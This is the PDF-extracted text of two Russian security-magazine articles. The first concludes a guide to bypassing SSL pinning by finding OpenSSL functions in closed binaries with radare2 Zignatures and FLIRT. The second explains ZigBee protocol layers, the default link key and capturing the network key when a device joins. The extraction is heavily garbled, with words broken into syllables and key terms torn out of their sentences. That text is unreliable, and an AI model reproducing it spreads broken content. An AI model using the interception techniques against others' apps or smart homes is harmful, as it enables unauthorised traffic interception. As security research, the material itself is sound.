EVP_DecryptUpdate EVP_EncryptUpdate

int EVP_EncryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out,
 int *outl, const unsigned char *in, int inl);

int EVP_DecryptUpdate(EVP_CIPHER_CTX *ctx, unsigned char *out,
 int *outl, const unsigned char *in, int inl);

ГДЕ УНИВЕРСАЛЬНОСТЬ?
Те перь мы зна ем прин ципы работы OpenSSL и можем поль зовать ся тем, что
тысячи раз работ чиков по все му миру не стес няют ся зашивать час ти этой биб‐ 
лиоте ки  в  свои  про екты.  А  зна чит,  наши  воз можнос ти  по  обхо ду SSLPinning
сущес твен но  рас ширя ются!  Самое  слож ное  теперь  —  это  успешно  иден‐ 
тифици ровать нуж ные кусоч ки OpenSSL в чужих прог раммах.

Ищем сле ды OpenSSL по стро кам и фун кци ям
Нач нем  с  самых  при митив ных  спо собов  иден тифика ции:  будем  опре делять
инте ресу ющие нас фун кции OpenSSL по наз вани ям и по исполь зуемым стро‐ 
кам.  С  пер вым  вари антом  все  понят но —  если  в  таб лице  сим волов  иссле‐ 
дуемо го бинар ника содер жится зна комое имя фун кции, зна чит, с наиболь шей
веро ятностью это и будет то, что мы ищем.

Слу чай пос ложнее — ког да наз вания фун кций были потер ты. Здесь мож но
попытать ся най ти нуж ную фун кцию по исполь зуемым ею кон стан там — нап‐ 
ример,  стро кам.  Одна  из  инте рес ней ших  сре ди  зат ронутых  в  статье  фун‐ 
кций — это  . Внут ри нее есть такой учас ток кода:ssl_verify_cert_chain

...
X509_STORE_CTX_set_default(ctx,
 s‐>server ? "ssl_client" : "ssl_server");

...

Поп робу ем отыс кать, нап ример,   в ста тичес ки ском пилиро ван ной
биб лиоте ке  , которая исполь зует ся в Chrome.

ssl_client
libmonochrome_base.so

По иск нуж ной фун кции из OpenSSL по стро ке с помощью radare2

Чуть  более  слож ный  слу чай:  если  уда лось  отыс кать  некото рые  фун кции
OpenSSL и успешно отло вить их вызовы, но эти фун кции еще не иден тифици‐ 
рова ны. Здесь мож но поп робовать метод «гру бой силы». Он осно ван на том,
что  боль шинс тво фун кций OpenSSL  пер вым  парамет ром  при нима ют  ссыл ку
на  экзем пляр  SSL  ,  который  теоре тичес ки  мож но  при рав нять
к иден тифика тору соеди нения.

SSL  *s...

Та ким обра зом, если перех ватить ID соеди нения в одной из иден тифици‐ 
рован ных фун кций и затем срав нивать его со зна чени ем пер вого парамет ра
во всех осталь ных фун кци ях, то мож но выделить мно жес тво ано ним ных фун‐ 
кций и даль ше искать  уже по ним. Этот метод ресур соемок,  так  как  тре бует
перех ватывать все фун кции иссле дуемо го бинар ника.

Бо лее  слож ный  и  рас простра нен ный  слу чай —  ког да  невоз можно  иден‐ 
тифици ровать ни одну фун кцию ни по име ни,  ни по исполь зуемым стро кам.
Здесь  на  помощь  при ходят  сиг натуры  фун кций.  При  исполь зовании  одно го
и  того  же  ком пилято ра  будет  получать ся  похожий  ассем блер ный  код,  чем
и мож но вос поль зовать ся.

Нам  ничего  не  меша ет  самос тоятель но  ском пилиро вать  биб лиоте ки
OpenSSL  и  BoringSSL  со  все ми  отла доч ными  сим волами,  затем  прой тись
по бинар никам любым движ ком‐генера тором бинар ных сиг натур, пос ле чего
поис кать получив шиеся сиг натуры уже в «зак рытом» бинар нике.

Ищем сле ды OpenSSL с помощью сиг натур ного ана лиза
Для  при мера  возь мем  натив ную  реали зацию  сте ка  HTTP  ком пании
Facebook  —  libliger.  В  Facebook  не  скры вают,  что  исполь зуют  «наработ ки
сооб щес тва», что для нашего слу чая может озна чать и OpenSSL.

Для  генера ции  сиг натур  вос поль зуем ся  встро енным  в  radare2  движ ком
.  Для  начала  ском пилиру ем  все  необ ходимые  биб лиоте ки  (Bor‐

ingSSL и OpenSSL) для нуж ной архи тек туры и убе дим ся, что их дей стви тель но
мож но сопос тавить с иссле дуемым бинар ником для сиг натур ного ана лиза:

Zignatures

# здесь будем сканировать сигнатуры
$ file libliger.so
ELF 64‐bit LSB pie executable ARM aarch64, version 1 (SYSV),
dynamically linked, stripped

# отсюда будем брать одну порцию сигнатур
$ file bin/boringssl/arm64‐v8a/libssl.so
ELF 64‐bit LSB pie executable ARM aarch64, version 1 (SYSV),
dynamically linked, with debug_info, not stripped

# отсюда будем брать вторую порцию сигнатур
$ file bin/boringssl/arm64‐v8a/libcrypto.so
ELF 64‐bit LSB pie executable ARM aarch64, version 1 (SYSV),
dynamically linked, with debug_info, not stripped

# отсюда будем брать третью порцию сигнатур
$ file bin/openssl/arm64‐v8a/libssl.so
ELF 64‐bit LSB pie executable ARM aarch64, version 1 (SYSV),
dynamically linked, not stripped

# отсюда будем брать четвертую порцию сигнатур
$ file bin/openssl/arm64‐v8a/libcrypto.so
ELF 64‐bit LSB pie executable ARM aarch64, version 1 (SYSV),
dynamically linked, not stripped

Ге нери руем  с  помощью  Zignatures  сиг натуры  для  каж дого  фай ла  .so 
 их для даль нейше го исполь зования:и сохраняем

$ r2 bin/boringssl/arm64‐v8a/libssl.so
$ [0x0009e210]> aa
$ [0x0006e210]> zg
$ [0x0009e210]> zos sig/boringssl/arm64‐v8a/libssl.z

За тем запус каем про цеду ру поис ка сиг натур внут ри libliger:

$ r2 libliger.so
$ [0x0006e170]> aa
$ [0x0006e170]> zo sig/boringssl/arm64‐v8a/libssl.z
$ [0x0006e170]> zo sig/boringssl/arm64‐v8a/libcrypto.z
$ [0x0006e170]> zo sig/openssl/arm64‐v8a/libssl.z
$ [0x0006e170]> zo sig/openssl/arm64‐v8a/libcrypto.z
$ [0x0006e170]> z/ # запускаем сканирование
[+] searching 0x003e3c38 ‐ 0x00430c1c
[+] searching 0x003b2430 ‐ 0x003e3c38
[+] searching 0x00000000 ‐ 0x00395744
[+] searching metrics
hits: 2685

И спус тя некото рое вре мя смот рим на резуль таты поис ка:

$ [0x0006e170]> zi~EVP_Encrypt # ищем EVP_Encrypt*
0x001f20ac 56 sign.refs.sym.EVP_EncryptInit_77
0x001f20ac 56 sign.refs.sym.EVP_EncryptFinal_ex_83
0x000ba080 72 sign.refs.sym.EVP_EncryptInit_1030
0x000ba080 72 sign.refs.sym.EVP_EncryptFinal_ex_1036
0x000ba130 72 sign.refs.sym.EVP_EncryptInit_1099
0x000ba130 72 sign.refs.sym.EVP_EncryptFinal_ex_1105
0x000d5aa4 516 sign.bytes.sym.EVP_EncryptUpdate_0
0x000a6958 64 sign.refs.sym.EVP_EncryptInit_1783
0x000a6958 64 sign.refs.sym.EVP_EncryptFinal_ex_1789
$ [0x0006e170]> zi~verify_cert_chain # ищем *ssl_verify_cert_chain
$ [0x0006e170]> zi~gcm128 # ищем функции по работе с AES GCM
0x000de3c4 240 sign.refs.sym.CRYPTO_gcm128_tag_9
0x001c1904 224 sign.refs.sym.CRYPTO_gcm128_tag_2107

Ус пешно уда лось най ти толь ко одну из трех рас смот ренных фун кций, при год‐ 
ных в роли точек перех вата. Что ж, это го хва тит для наших методов SSLUnPin‐
ning!  Кста ти,  най ти    в  libliger  уда лось  пре дыду щим
методом — поис ком по стро ке  . Нич то не меша ет сочетать спо‐ 
собы. :)

*ssl_verify_cert_chain
ssl_client

Дви жок Zignatures при дет ся по душе не всем, поэто му в  качес тве допол‐ 
нения мож но вос поль зовать ся тех нологи ей   из HexRays.FLIRT

FLIRT изна чаль но задумы вал ся как инс тру мент, который поз волял бы раз‐ 
делить  иссле дуемое  при ложе ние  на  «извес тную  часть»,  исходни ки  которой
были  написа ны  непос редс твен ным  раз работ чиком  и  которые  мож но  най ти
на  прос торах  интерне та,  и  «неиз вес тную  часть» —  собс твен но,  уни каль ный
код.

Мож но пой ти одним из двух путей: поис кать необ ходимые для FLIRT сиг‐ 
натуры либо соз дать их самос тоятель но. Во мно гих сбор никах сиг натур FLIRT
уже при сутс тву ют в том чис ле сиг натуры для OpenSSL: нап ример, для 

, а так же для OpenSSL, ском пилиро ван ной в  .
Ubuntu

и Windows MSVC раз ных вер сий
Кро ме того, мож но самос тоятель но сге нери ровать сиг натуры FLIRT из un‐

stripped‐бинар ника либо архи ва .ar с помощью ути лит   из пакета
FLAIR tools, пос ле чего заг рузить их в IDA Pro и пос мотреть на количес тво сов‐ 
падений по ито гам ска ниро вания.

pelf/sigmake

ЗАКЛЮЧЕНИЕ
Вот  мы  и  рас смот рели  клю чевые  идеи  по  при готов лению  уни вер саль ного
спо соба  обхо да  SSLPinning.  Опи сан ные  под ходы  мож но  исполь зовать
как осно ву при иссле дова нии любого при ложе ния, где биб лиоте ка OpenSSL
исполь зует ся  для  реали зации  защиты  от  перех вата  тра фика.  Теперь  ты
воору жен и зна ешь, что делать даль ше! ;)

WWW

•Ре пози торий с матери ала ми и кодом из статьи

https://wiki.openssl.org/index.php/SSL/TLS_Client
https://www.openssl.org/docs/man1.0.2/man3/BIO_puts.html
https://www.openssl.org/docs/man1.0.2/man1/ciphers.html
https://www.ibm.com/support/knowledgecenter/en/SSLTBW_2.3.0/com.ibm.zos.v2r3.gska100/csdcwh.htm
https://wiki.openssl.org/index.php/EVP
http://radare.today/posts/zignatures/
https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml
https://github.com/push0ebp/sig-database
https://github.com/Maktm/FLIRTDB/tree/master/openssl/windows
https://github.com/radare/radare2/blob/master/doc/flirt.md
https://github.com/AsenOsen/OpenSSLUnpinner


ПОЛЕТ
ПЧЕЛЫ

КАК РАБОТАЮТ СЕТИ 
И КАК ИСКАТЬ УЯЗВИМОСТИ

В НИХ

ZIGBEE

Егор Литвинов

ВЗЛОМ

ZigBee  —  один  из  про токо лов,  который
исполь зуют  для  домаш ней  авто мати зации.
Его под дер жкой наделя ют умные лам почки,
бес про вод ные  вык лючате ли,  дат чики  дви‐ 
жения  и  про чие  устрой ства,  которые
повыша ют  ком форт.  Но  нас коль ко  они
безопас ны?  В  этой  статье  я  рас ска жу,
как  устро ен  ZigBee,  и  покажу,  при  помощи
каких устрой ств и прог рамм перех ватывать
его сиг нал для изу чения.

INFO

Мои  кол леги  из    занима ются  раз работ‐ 
ками, свя зан ными с умным домом, что поз волило
мне вбли зи поз накомить ся с безопас ностью Zig‐
Bee. На этот опыт я и буду опи рать ся, ког да речь
зай дет о прак тике.

GS  Labs

ПОЧЕМУ ZIGBEE?
Ко неч но, этот про токол не нов — стан дарт появил ся еще в 2003 году. Сегод‐ 
ня есть более сов ремен ные ана логи вро де   и  , но ZigBee про‐ 
дол жает быть популяр ным. Почему? Взгля ни на кар тинку.

LoRaWAN RPMA

По мимо  даль нос ти  и  ско рос ти  здесь  учте на  сто имость.  И  сра зу  вид но,  что
ZigBee отлично сба лан сирован и при невысо кой цене дает при емле мые даль‐ 
ность дей ствия и ско рость переда чи дан ных. Вряд ли тебе понадо бит ся стри‐ 
мить  видео  в  4K  на  вык лючатель,  а  что бы  что‐то  сде лать  изда лека,  обыч но
исполь зует ся  под клю чен ный  к  интерне ту  хаб.  Вот  и  получа ется,  что  ZigBee
не силь но бьет по кар ману при соз дании умно го дома и пок рыва ет основные
нуж ды.

К тому же более новые про токо лы могут таить неп рият ные сюр при зы. Нап‐ 
ример, в раз говорах о LoRa я уже нес коль ко раз слы шал от интегра торов, что
при  боль шом  количес тве  устрой ств  в  сети  могут  начать ся  чудеса.  Говорят,
что на опрос сот ни девай сов может уйти око ло часа.

WWW

Об опы те исполь зования LoRaWAN можешь про‐ 
честь в  .статье на «Хаб рахаб ре»

ОСНОВНЫЕ ПОНЯТИЯ
То поло гия сети может быть одной из сле дующих:

звез да;•
клас терное дерево;•
стиль ный‐мод ный‐молодеж ный вари ант — mesh.•

  (он  же  )  —  это  самый  глав ный  узел.  Он  соз дает  сеть,
выбира ет,  на  каком  канале общать ся, может выс тупать  как  «центр доверия»
(trust center).   — устрой ства уже чуть поп роще. Они слу жат зачас тую
рет ран сля тора ми  сооб щений  от  конеч ных  устрой ств. 

 (end device) — то, что мы объ еди няем в сеть, то есть вык лючате ли, лам‐ 
почки, дат чики дви жения и про чие гад жеты.

Ко орди натор FFD

Ро уте ры

Ко неч ные  устрой- 

ства

Свод ная таб лица фун кци ональ нос ти каж дого из устрой ств

А теперь откры ваем офи циаль ную спе цифи кацию ZigBee. Там нас поч ти сра‐ 
зу встре чает вот такая инте рес ная кар тинка.

ZigBee Stack Architecture

Но  пусть  она  тебя  не  пуга ет,  потому  что  к  кон цу  статьи  ты  пой мешь,  что
в реаль нос ти все нем ного про ще! :)

PHY
Итак,  нач нем  изу чение  с  PHY,  физичес кого  уров ня,  и  будем  под нимать ся
вверх по сло ям.

INFO

Мы будем  говорить  о  ZigBee,  но  ZigBee  базиру‐ 
ется  на  IEEE  802.15.4.  При чем  этот  же  стан дарт
взят  за  осно ву  для    и  для

.
WirelessHART

ISA100.11a

ZigBee, а точ нее, IEEE 802.15.4 может работать в трех час тотных диапа зонах.

И,  как  ты можешь заметить, если выб рать для него  час тоту 2,4 ГГц,  то Wi‐Fi
и  ZigBee  могут  начать  мешать  друг  дру гу.  Для  умень шения  перек рес тных
помех меж ду Wi‐Fi и ZigBee луч ше выбирать сле дующие каналы.

Что не может не радовать, в стан дарте есть такое понятие, как ED — 
.  Эта  фича  исполь зует ся  в  коор динато ре  умно го  дома,  что бы  он

выбирал канал, где мень ше все го помех.

Energy

Detection

Об щий вид посыл ки для PHY име ет сле дующий вид.

Ес ли у тебя дома завалял ся SDR и ты жела ешь кон тро лиро вать каж дый‐пре‐ 
каж дый битик в модуля ции OQPSK, то тебе поможет вот эта схе ма.

Этот вид модуля ции как раз и при меня ется на час тоте 2,4 ГГц. А мы тем вре‐ 
менем идем   выше по сте ку про токо лов, и нас ждет уро вень MAC.даль ше

MAC
Об щий вид MAC‐фрей мов пред став лен ниже.

Как  видишь,    отве чает  за  тип  пакета  дан ных  (Beacon,  Ack,
Cmd, Data), тип адре сации, а так же наличие шиф рования.

Frame  Control

Те перь погово рим о каж дом фрей ме дан ных чуть под робнее.
 — один из самых прос тых фрей мов. В нем переда ются дан‐ 

ные про токо лов, которые работа ют поверх  IEEE 802.15.4. Получа ется, что ты
можешь  взять  за  осно ву  IEEE  802.15.4  и  раз работать  про токол  для  сво их
нужд.

Data Frame

 — фрейм под твержде ния. Увы, мы живем в неидеаль ном мире,
где быва ет мно го помех, а при переда че по ради ока налу тем более. Поэто му
необ ходимо под тверждать при нятые дан ные.

ACK Frame

Здесь    ука зыва ет  на  то,  какой  фрейм  из  при шед ших
ранее мы под твержда ем.

Sequence  Number

 в той или иной сте пени отве чает за «орга низа цию сети»
на уров не 802.15.4.

MAC Cmd frame

Ни же пред став лены коман ды, которые могут тебе встре тить ся.

 — Full‐function Device — это коор динатор сети, та самая глав ная «желез‐ 
ка», которая орга низо выва ет сеть ZigBee.
FFD

 — Reduced‐function Device — не столь важ ное устрой ство, как коор‐ 
динатор, выпол няет фун кции роуте ра при пересыл ке пакетов.

RFD

 — об этом фрей ме сто ит погово рить под робнее.Beacon frame

Так как мы переда ем дан ные по ради ока налу и у нас есть нес коль ко устрой‐ 
ств, эти устрой ства дол жны как‐то опре делять, в какой момент мож но переда‐ 
вать дан ные, а ког да занята несущая и сто ит подож дать. Поэто му в сетях Zig‐
Bee/IEEE  802.15.4  есть  два  спо соба  переда чи  дан ных:  режимы 
и  .

Beacon

NonBeacon

Для переда чи дан ных в режиме NonBeacon исполь зует ся так называ емый
unslotted CSMA‐CA  channel  access mechanism.  По моему  опы ту,  он  исполь‐ 
зует ся ред ко.

На ибо лее час тый слу чай — исполь зование режима Beacon. В этом слу чае
коор динатор  отправ ляет  так  называ емые  маяч ки  (beacons),  на  осно ве
которых осталь ные устрой ства син хро низи руют ся и переда ют дан ные.

Об щий вид переда чи дан ных в этом режиме пред став лен ниже.

Во фрей ме Beacon ука зыва ется, сколь ко будет  , будет ли
 и пос леду ет ли   — вре мя, ког да

конеч ные устрой ства смо гут со спо кой ной совестью уйти в спяч ку для прод‐ 
ления работы от батарей ки.

slotted CSMA-CA

дос туп без кон курен ции Inactive portion

NWK LAYER
Вот так выг лядит фрейм во всей кра се на уров не NWK. Не забыва ем, что раз
мы уже тут, дан ные будут упа кова ны в Data Frame уров ня MAC.

Как  видишь,  на  уров не  NWK  тоже  встре чают ся  нес коль ко  раз новид ностей
фрей мов.  Но  преж де  чем  о  них  говорить,  думаю,  сто ит  осве тить  воп росы
адре сации в сетях ZigBee. Потому что тебя, навер ное, уже тер зают воп росы,
что такое Dst Addr, Src IEEE Addr и тому подоб ные вещи.

Ад ресация в сетях ZigBee
Нач нем,  пожалуй,  с  ,  или Personal  Area Network  ID. Он  исполь зует ся
для  логичес кого  отде ления  узлов  одной  сети  ZigBee  от  узлов  дру гой,  если
сети  рас положе ны  на  одной  и  той  же  тер ритории  либо  работа ют  на  одном
и том же канале.

PAN ID

  —  Extended  PAN  ID,  гло баль ный  64‐бит ный  уни каль ный  иден‐ 
тифика тор. Исполь зует ся для избе гания кон флик тов PAN ID.

EPIND

 — собс твен но, адрес отпра вите ля и получа теля. Могут быть
как корот кими (16‐бит ными), так и длин ными (64‐бит ными). При чем если 64‐
бит ный адрес исполь зует ся на слое NWK, то это и будет как раз Src/Dst IEEE
addr. Он счи тает ся уни каль ным для каж дого при емо пере дат чика ZigBee.

Src/Dst Addr

Ну и что бы луч ше понимать устрой ство адре сов, пос мотрим часть дам па
тра фика в Wireshark.

Сей час  пока  важ но  понять,  что  Src/Dst  Addr  на  уров нях  MAC  и  NWK  —
это одни и те же адре са.

 — слу жит для переда чи более высоко уров невых сло ев.
Тут все прос то.

NWK Data frame

 — как раз тут и тво рит ся основная «магия» мар шру тиза ции
дан ных, пос тро ения mesh‐сети и под клю чения/отклю чения узлов.
NWK Cmd frame

Спи сок основных команд пред став лен ниже.

Про  ,  увы,  не  ска жу  ничего,  так  как  он  загадо чен.  Его  основная
задача  —  пересыл ка  дан ных  меж ду  узла ми,  которые  находят ся  в  раз ных
сетях, но докумен тации по этой теме очень нем ного.

Inter-PAN

Продолжение статьи →

http://gs-labs.ru/
https://lora-alliance.org/
https://www.ingenu.com/technology/rpma/
https://habr.com/ru/post/419665/
http://www.kipia.info/publication/wireless-hart-pojaluy-edinstvennyiy-besprovodnoy-protokol-svyazi-udovletvoryayuschiy-trebovaniyam-ryinka-asutp/
https://www.isa.org/isa100/


ПОЛЕТ ПЧЕЛЫ
КАК РАБОТАЮТ СЕТИ ZIGBEE И КАК ИСКАТЬ

УЯЗВИМОСТИ В НИХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

APL LAYER
На конец мы доб рались до самого вер ха в сте ке про токо лов ZigBee. Общий
вид фрей мов пред став лен ниже.

Data Frame Format

Этот фрейм содер жит  «все  пос ледова тель нос ти  окте тов  сле дующе го более
вер хне го уров ня». Спра шива ется, куда уж выше?

APS Command Frame Format

Acknowledgement Frame Format

Те перь  тебя,  воз можно,  нас торожат  новые  сос тавные  час ти фрей ма:  Profile
ID, Cluster, Endpoint. Поп робу ем с ними разоб рать ся. Вер нись к той страш ной
кар тинке со сте ком про токо лов в самом начале статьи. Наде юсь, теперь она
будет вос при нимать ся полег че.

PHY и MAC опре деле ны стан дартом  IEEE 802.15.4,  вышеле жащие уров ни —
это ZigBee.

Од на  из  глав ных  задумок —  обес печить  сов мести мость  (interoperability),
отсю да  такой  ком байн  на  уров не  APL.  Это  озна чает,  что  если  взять,  к  при‐ 
меру, лам почку с под дер жкой ZigBee вен дора А, куп ленную десять лет назад,
и  вык лючатель  вен дора  Б,  куп ленный  вче ра,  то  они  без  проб лем  будут
работать друг с дру гом. Рань ше ZigBee этим пох вастать ся не мог, сей час же
все ста новит ся гораз до луч ше.

  фак тичес ки  отве чает  за  ини циали зацию
устрой ства — будет ли оно FFD (коор динато ром) или end device. Так же про‐ 
изво дит  нас трой ку  и  ини циали зацию  NWK  и  SSP  (Security  Service  Provider).
О механиз мах безопас ности в сетях ZigBee погово рим чуть даль ше.

ZigBee  Device  Object  (ZDO)

  пре дос тавля ет  прог рам мный
интерфейс  меж ду  уров нем  NWK  и  при ложе ниями,  которые  могут  работать
на устрой стве.

Application  Support  Sublayer  (APS)

  —  что‐то  вро де  окру жения,  где  выпол няют ся
при ложе ния ZigBee.

Application  Framework

Что бы  устрой ства  понима ли,  как  вза имо дей ство вать  друг  с  дру гом,  их
для начала нуж но иден тифици ровать по про филям. Для это го как раз и при‐ 
меня ются  . Раз мер — два бай та. Быва ют:Application profiles

 — они раз работа ны в ZigBee Alliance для про изво дите лей
сов мести мых  устрой ств.  Слу жат  для  того,  что бы  устрой ства  раз ных  вен‐ 
доров мог ли работать друг с дру гом;

• Public profiles

  (дру гое офи циаль ное наз вание — 
). Это уже про филь, раз работан ный самим вен дором

для сво их нужд (нап ример, спе цифич ных для устрой ства).

• Private profiles Manufacturer  Spe-

cific Profiles, MSP

Не кото рые profile ID пред став лены ниже в таб лице.

profile ID опи сание

0x0101 Industrial Plant Monitoring (IPM)

0x0104 Home Automation (HA)

0x0105 Commercial Building Automation (CBA)

0x0107 Telecom Applications (TA)

0x0108 Personal Home & Hospital Care (PHHC)

0x0109 Advanced Metering Initiative (AMI)

Сле дующая струк турная еди ница ком муника ции меж ду устрой ства ми — 
.  Она  так же  име ет  дли ну  в  два  бай та.  Это  сво его  рода  сооб щения,

опре делен ные в profile ID. К при меру, для про филя   могут
быть заданы сле дующие клас теры:

Clus-

ter  ID

Home Automation

 — исполь зует ся, что бы вклю чить или вык лючить устрой ство  (нап‐ 
ример, лам почку или тер мостат);

• On/Off

  —  исполь зует ся  для  дим минга  (нап ример,  мож но  плав но
зажечь лам почку на 80% от мак сималь ной яркости);

• Level  control

  —  управле ние  цве том  осве щения  (вдруг  захочет ся
мимимиш ный розовый отте нок?).

• Color  control

За вер шает  сис тему  адре сации  .  Что бы  было  понят нее,  при веду
ана логию  с  обыч ным  компь юте ром.  Устрой ство  ZigBee  —  это  как  машина
в сети: у него есть IP, по которо му мож но обра тить ся. И как на одном компь‐ 
юте ре может  кру тить ся  нес коль ко  служб  на  раз ных  пор тах,  так  и  на  устрой‐ 
ствах  ZigBee  может  быть  нес коль ко  при ложе ний.  Что бы  однознач но  обра‐ 
щать ся к одно му или дру гому, как раз и нуж ны эндпой нты.

Endpoint

Вот  так будет  выг лядеть иерар хичес кая струк тура для вык лючате ля све та
с про филем Home Automation.

БЕЗОПАСНОСТЬ ZIGBEE
Ког да заходит речь про безопас ность ZigBee, мно гие источни ки говорят, что
у  ZigBee  может  быть  либо  цен тра лизо ван ная  сис тема  безопас ности,  либо
децен тра лизо ван ная  —  и  что  дан ные  шиф руют ся  при  помощи  AES‐
128 на уров нях NWK и/или APL. Но очень час то почему‐то забыва ют ска зать,
что  так  как ZigBee базиру ется на  IEEE 802.15.4,  этот стан дарт  тоже пре дос‐ 
тавля ет кое‐какие воз можнос ти в пла не безопас ности.

Ког да  выс тавлен  тре тий  бит  в  FC  (Frame  Control),  у  нас  появ ляет ся  допол‐ 
нитель ный заголо вок  , который, в свою оче редь, опре‐ 
деля ет  уро вень  безопас ности  (Security  Level),  а  так же  вклю чает  в  себя  32‐
бит ный  счет чик,  поз воля ющий  исклю чить  прос тей шие  ата ки  типа  replay.
Про Security Level мы погово рим бук валь но через пару абза цев.

AUX Security Header

Рас пре делен ная модель
Рас пре делен ная модель безопас ности счи тает ся менее надеж ной, но более
прос той в реали зации.

Рас пре делен ная модель безопас ности

Как  вид но,  в  этом  слу чае  могут  быть  толь ко  два  типа  устрой ств —  роуте ры
и конеч ные устрой ства (end device). Роуте ры могут соз давать сеть и генери‐ 
ровать  ключ  к  сети  ( ).  Что бы  устрой ства  мог ли  под клю чить ся
к такой сети, они дол жны иметь  .

network  key

pre-configured link key

Цен тра лизо ван ная модель
Как  понима ешь,  пос редс твен ный  уро вень  безопас ности  —  не  наш  путь,
поэто му  при  реали зации  умно го  дома  луч ше  выбирать  цен тра лизо ван ную
модель безопас ности.

Цен тра лизо ван ная модель безопас ности

В этом слу чае коор динатор не толь ко выпол няет фун кции орга низа ции и пос‐ 
тро ения  сети,  но  так же  явля ется  цен тром  доверия  ( ,  TC).  Он
выбира ет  ключ шиф рования  для  уров ней NWK и APL  и  отве чает  за  под клю‐ 
чение новых узлов.

Trust  Center

Ког да мы рас смат ривали фрей мы NWK, ты мог обра тить вни мание на AUX
NWK  Header.  Это  как  раз  допол нитель ный  заголо вок,  который  появ ляет ся,
если вклю чено шиф рование на уров не NWK. Фор мат фрей ма с уче том шиф‐ 
рования пред став лен ниже.

AUX NWK Header появ ляет ся тог да, ког да в заголов ке Frame Control из NWK
выс тавлен соот ветс тву ющий бит.

Для уров ня APL фрейм выг лядит ана логич ным обра зом.

Ду маю,  тебя  уже  дав но  муча ет  воп рос,  что  это  за  «уро вень  безопас ности»
(Security  level) и зна комая аббре виату ра MIC (Message  Integrity Code). Ответ
на этот воп рос дан в таб лице ниже.

Как видишь, ZigBee и IEEE 802.15.4 поз воля ют исполь зовать толь ко про вер ку
целос тнос ти получен ного фрей ма. Для это го как раз слу жит MIC — либо мож‐ 
но вклю чить для фрей мов шиф рование AES‐128.

КЛЮЧИ ШИФРОВАНИЯ В ZIGBEE
Я уже упо мянул шиф рование AES‐128, а зна чит, никак не обой тись без раз‐ 
говора про клю чи. Вот какие они быва ют.

 — дефол тный ключ для ZigBee. Его зна‐ 
чение —  , что озна‐ 
чает  . Он исполь зует ся, что бы шиф ровать network key.

Pre-configured global link key
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Ни же при веду неболь шой кусочек дам па тра фика, который про ходит, ког‐ 
да мы под клю чаем новое устрой ство к сети.

№
Па

ке

та

End-node/

коор динатор
При меча ние

18
53

End‐Node, IEEE
addr

00:0D:6F:00:...

От прав ляет коман ду на под клю чение к сети (As‐
sociation Request)

18
57

Ко орди натор,
IEEE addr

00:12:4B:00:...

Assoсiation Response, где выда ется доб ро
на под клю чение к сети и устрой ство получа ет
корот кий адрес 0x5022

186
1

Ко орди натор
Зап рашива ет опи сание устрой ства и дан ных
о том, кто к нему под клю чил ся

187
3

Ко орди натор
От прав ляет NWK key в зашиф рован ном виде
с помощью pre‐configured global link key

Вот мы и разоб рали про цесс под клю чения и ассо циации конеч ного устрой‐ 
ства  к  коор динато ру.  Это  так  называ емая  .  Для  пол ноты
кар тины  добав лю,  что  перед    устрой ство  отпра вит
в эфир  .

MAC  association

Association  Request

Beacon request

Еще  воз можен   —  под клю чение  к  сети  на  уров не  NWK.
Но в этом слу чае конеч ному узлу уже надо знать network key. Это воз можно,
если узел дей стви тель но заново под клю чает ся к сети или если NWK key был
ука зан каким‐то дру гим спо собом.

Network Rejoin

Так что если ты под ловишь момент, ког да про исхо дит добав ление нового
устрой ства,  то  есть  все  шан сы  перех ватить  NWK  key  и  прос лушивать  весь
тра фик.

За чем ждать это го момен та, ког да мож но сымити ровать под клю чение устрой‐ 
ства  к  сети и  тем самым заполу чить  ключ NWK? Воз можно,  в  дру гих реали‐ 
заци ях так и получит ся, но в нашем умном доме пре дус мотре ли этот момент.
:) У нас сна чала необ ходимо перек лючить коор динатор в сос тояние ожи дания
под клю чения нового устрой ства,  которое длит ся нес коль ко секунд, и  толь ко
потом добав лять устрой ство. Так что под гадывать момент все же при дет ся.

Дру гой воп рос, который может у  тебя воз никнуть: зачем вооб ще исполь‐ 
зовать дефол тный link key, ког да мож но задать свой и в разы улуч шить взло‐ 
мос той кость?  Ответ  прос той:  кас томный  link  key  нарушит  сов мести мость,
о которой мы говори ли чуть ранее. Да и не вся кий поль зователь захочет под‐ 
клю чать лам почку или розет ку к прог рамма тору или джа мера ми задавать при‐ 
ват ный клю чик. Вот и при ходит ся искать баланс меж ду удобс твом и безопас‐ 
ностью.

Работа ем с ZigBee в Wireshark
Wireshark прек расно справ ляет ся с пар сингом ZigBee, но, что бы это зарабо‐ 
тало,  нуж но  в  нас трой ках  задать  дефол тный  ключ  шиф рования.  Откры вай
меню  «Edit →  Preferences →  Protocols»,  выбирай  «ZigBee →  Pre‐configured
key» и добав ляй Pre‐configured global link key с шес тнад цатерич ным зна чени‐ 
ем  .5A 69 67 42 65 65 41 6C 6C 69 61 6E 63 65 30 39

  (он же NWK key) — исполь зует ся, как ты уже понял, для шиф‐ 
рования  на  уров не  NWK.  Он  при меня ется  для  ком муника ции  меж ду  все ми
узла ми  сети,  про изволь но  генери рует ся  коор динато ром. Переда ется,  ког да
про исхо дит под клю чение нового узла.

Network key

  —  этот  клю чик  будет  работать  на  уров не  APL.
Исполь зует ся  он  для  того,  что бы  два  узла  мог ли  уста новить  шиф рован ное
обще ние друг с дру гом.

Application  link  key

WWW

Очень  рекомен дую  почитать  статью  Security
Analysis  of  ZigBee  ( ).  В  ней  наг лядно  и  под‐ 
робно рас ска зыва ется про исполь зуемые клю чи.

PDF

УЯЗВИМОСТИ ZIGBEE
Те перь,  зная  внут реннюю  струк туру,  мож но  погово рить  о  том,  какие  воз‐ 
можны  ата ки  на  ZigBee.  Один  из  их  основных  видов —  это  исполь зование
дефол тно го  link  key  при  под клю чении  новых  устрой ств.  Но  тут  при ходит ся
выбирать  меж ду  удобс твом  для  рядовых  поль зовате лей  и  безопас ностью.
Мож но счи тать, что это баг, но если добавить кра сивые сло ва про сов мести‐ 
мость,  быс тро ту  раз верты вания  и  про чие  удоб ные  штуч ки,  то  он  уже  чуть
боль ше похож на фичу. :) О том, как нивели ровать ее опас ность, я уже писал
выше.

Сле дующий воп рос,  который  хочет ся под нять:  как обсто ят дела с 
?  Как  пом нишь,  на  каж дом  из  уров ней  у  нас  есть  Frame  Counter,

который дол жен пре пятс тво вать это му виду атак. Но теория с прак тикой схо‐ 
дят ся далеко не всег да.

replay

attack

Стан дарт  —  вещь  хорошая  и  нуж ная,  но  его  реали зация  вен дором  —
это  совер шенно  дру гое  дело.  Впро чем,  «желез ки»  GS  Labs,  которые  мне
